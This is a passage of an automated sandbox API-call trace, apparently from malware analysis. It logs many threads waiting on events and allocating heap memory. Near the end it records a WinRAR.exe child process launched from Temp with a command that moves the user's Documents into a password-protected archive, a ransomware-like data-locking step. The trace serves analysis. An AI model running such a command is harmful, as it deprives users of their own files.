returned 0x0 [0070.599] SetEvent (hEvent=0x33c) returned 1 [0070.599] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.649] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.001] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 173 os_tid = 0x1178 [0066.672] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.047] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.298] SetEvent (hEvent=0x33c) returned 1 [0067.298] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.456] SetEvent (hEvent=0x33c) returned 1 [0067.456] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.037] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.346] SetEvent (hEvent=0x33c) returned 1 [0068.346] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.395] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.445] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.492] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.541] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.609] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.656] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 174 os_tid = 0x117c [0066.672] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.047] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.222] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.455] SetEvent (hEvent=0x33c) returned 1 [0067.455] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.018] SetEvent (hEvent=0x33c) returned 1 [0068.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.345] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.052] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.440] SetEvent (hEvent=0x33c) returned 1 [0070.440] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.483] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.536] SetEvent (hEvent=0x33c) returned 1 [0070.536] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.600] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.651] SetEvent (hEvent=0x33c) returned 1 [0070.651] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.019] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 175 os_tid = 0x1180 [0066.672] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.058] SetEvent (hEvent=0x33c) returned 1 [0067.058] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.299] SetEvent (hEvent=0x33c) returned 1 [0067.299] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.455] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.345] SetEvent (hEvent=0x33c) returned 1 [0068.345] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.053] SetEvent (hEvent=0x33c) returned 1 [0069.053] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.439] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.484] SetEvent (hEvent=0x33c) returned 1 [0070.484] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.535] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.601] SetEvent (hEvent=0x33c) returned 1 [0070.601] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.650] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 176 os_tid = 0x1184 [0066.672] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.058] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.298] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.454] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.225] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.029] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.438] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.482] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.535] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.599] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.649] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.001] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 177 os_tid = 0x1188 [0066.673] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.059] SetEvent (hEvent=0x33c) returned 1 [0067.059] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.298] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.455] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.037] SetEvent (hEvent=0x33c) returned 1 [0068.038] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.345] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.395] SetEvent (hEvent=0x33c) returned 1 [0070.395] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.445] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.492] SetEvent (hEvent=0x33c) returned 1 [0070.492] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.541] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.609] SetEvent (hEvent=0x33c) returned 1 [0070.609] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.656] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 178 os_tid = 0x118c [0066.673] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.059] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.299] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.455] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.224] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.026] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.411] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.455] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.502] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.553] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.621] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.000] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 179 os_tid = 0x1190 [0066.673] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.165] SetEvent (hEvent=0x33c) returned 1 [0067.165] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.320] SetEvent (hEvent=0x33c) returned 1 [0067.320] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.547] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.038] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.345] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.052] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.439] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.483] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.536] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.600] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.650] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.020] SetEvent (hEvent=0x33c) returned 1 [0071.020] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 180 os_tid = 0x1194 [0066.674] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.165] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.318] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.547] SetEvent (hEvent=0x33c) returned 1 [0067.547] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.038] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.360] SetEvent (hEvent=0x33c) returned 1 [0068.360] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.397] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.446] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.493] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.543] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.610] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.657] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 181 os_tid = 0x1198 [0066.674] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.164] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.319] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.547] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.038] SetEvent (hEvent=0x33c) returned 1 [0068.038] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.360] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.397] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0de23120, Size=0x2000) returned 0x1ec0ddcb5a0 [0070.397] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddcb5a0, Size=0x4000) returned 0x1ec0ddcb5a0 [0070.397] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddcb5a0, Size=0x8000) returned 0x1ec0de246c0 [0070.397] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0de23120 [0070.397] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0de23120, Size=0x2000) returned 0x1ec0de2c6d0 [0070.398] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0de2c6d0, Size=0x4000) returned 0x1ec0ddcb5a0 [0070.398] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddcb5a0, Size=0x8000) returned 0x1ec13bb0080 [0070.399] SetEvent (hEvent=0x33c) returned 1 [0070.399] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.446] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.493] SetEvent (hEvent=0x33c) returned 1 [0070.493] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.543] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.610] SetEvent (hEvent=0x33c) returned 1 [0070.611] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.657] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 182 os_tid = 0x119c [0066.674] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.164] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.319] SetEvent (hEvent=0x33c) returned 1 [0067.319] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.546] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.037] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.345] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.052] SetEvent (hEvent=0x33c) returned 1 [0069.052] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.440] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.483] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.536] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.600] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.651] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.019] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 183 os_tid = 0x11a0 [0066.674] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.166] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x180) returned 0x1ec0de1af80 [0067.166] SetEvent (hEvent=0x33c) returned 1 [0067.166] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.332] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.565] SetEvent (hEvent=0x33c) returned 1 [0067.565] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.161] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.418] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.396] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.447] SetEvent (hEvent=0x33c) returned 1 [0070.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.492] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.544] SetEvent (hEvent=0x33c) returned 1 [0070.544] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.610] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.658] SetEvent (hEvent=0x33c) returned 1 [0070.658] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 184 os_tid = 0x11a4 [0066.675] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.166] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.332] SetEvent (hEvent=0x33c) returned 1 [0067.332] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.565] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.161] SetEvent (hEvent=0x33c) returned 1 [0068.161] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.418] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.396] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.446] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.493] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.544] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.610] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.658] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 185 os_tid = 0x11a8 [0066.675] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.166] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.319] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.548] SetEvent (hEvent=0x33c) returned 1 [0067.548] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.160] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.360] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.395] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.446] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.492] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.541] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.609] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.657] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 186 os_tid = 0x11ac [0066.675] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.165] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.320] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.547] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.160] SetEvent (hEvent=0x33c) returned 1 [0068.160] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.418] SetEvent (hEvent=0x33c) returned 1 [0068.418] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.402] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.494] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.545] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.611] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.664] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 187 os_tid = 0x11b0 [0066.675] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.183] SetEvent (hEvent=0x33c) returned 1 [0067.183] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.421] SetEvent (hEvent=0x33c) returned 1 [0067.421] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.581] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.184] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.441] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.403] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.449] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.495] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.546] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.612] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.664] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 188 os_tid = 0x11b4 [0066.675] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.182] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.332] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.564] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.160] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.360] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.395] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.446] SetEvent (hEvent=0x33c) returned 1 [0070.446] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.491] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.541] SetEvent (hEvent=0x33c) returned 1 [0070.542] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.609] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.657] SetEvent (hEvent=0x33c) returned 1 [0070.657] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 189 os_tid = 0x11b8 [0066.675] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.182] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.332] SetEvent (hEvent=0x33c) returned 1 [0067.332] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.565] SetEvent (hEvent=0x33c) returned 1 [0067.565] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.182] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.440] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.402] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.448] SetEvent (hEvent=0x33c) returned 1 [0070.448] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.493] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.545] SetEvent (hEvent=0x33c) returned 1 [0070.545] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.611] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.664] SetEvent (hEvent=0x33c) returned 1 [0070.664] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 190 os_tid = 0x11bc [0066.676] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.184] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddfd620, Size=0x4000) returned 0x1ec0ddcb5a0 [0067.184] SetEvent (hEvent=0x33c) returned 1 [0067.184] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.420] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.565] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.183] SetEvent (hEvent=0x33c) returned 1 [0068.183] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.440] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.402] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.448] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.494] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.545] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.611] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.664] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Process: id = "10" image_name = "winrar.exe" filename = "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe" page_root = "0x10beb000" os_pid = "0xf64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x46c" cmd_line = "C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" cur_dir = "C:\\Users\\FD1HVy\\Documents\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 47 os_tid = 0x48c [0057.595] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.596] GetProcAddress (hModule=0x7ff92f150000, lpProcName="InitializeCriticalSectionEx") returned 0x7ff92f1ad580 [0057.597] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.597] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsAlloc") returned 0x7ff92f1bd3e0 [0057.597] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsSetValue") returned 0x7ff92f198c10 [0057.598] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.598] GetProcAddress (hModule=0x7ff92f150000, lpProcName="InitializeCriticalSectionEx") returned 0x7ff92f1ad580 [0057.598] GetProcessHeap () returned 0x1162e7c0000 [0057.598] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.598] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsAlloc") returned 0x7ff92f1bd3e0 [0057.598] GetLastError () returned 0x0 [0057.598] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsGetValue") returned 0x7ff92f192340 [0057.598] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x3c8) returned 0x1162e7ccd20 [0057.598] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsSetValue") returned 0x7ff92f198c10 [0057.598] SetLastError (dwErrCode=0x0) [0057.598] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x1000) returned 0x1162e7dfdb0 [0057.599] GetStartupInfoW (in: lpStartupInfo=0x141a0ffb40 | out: lpStartupInfo=0x141a0ffb40*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) [0057.599] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0057.599] GetStdHandle (nStdHandle=0xfffffff5) returned 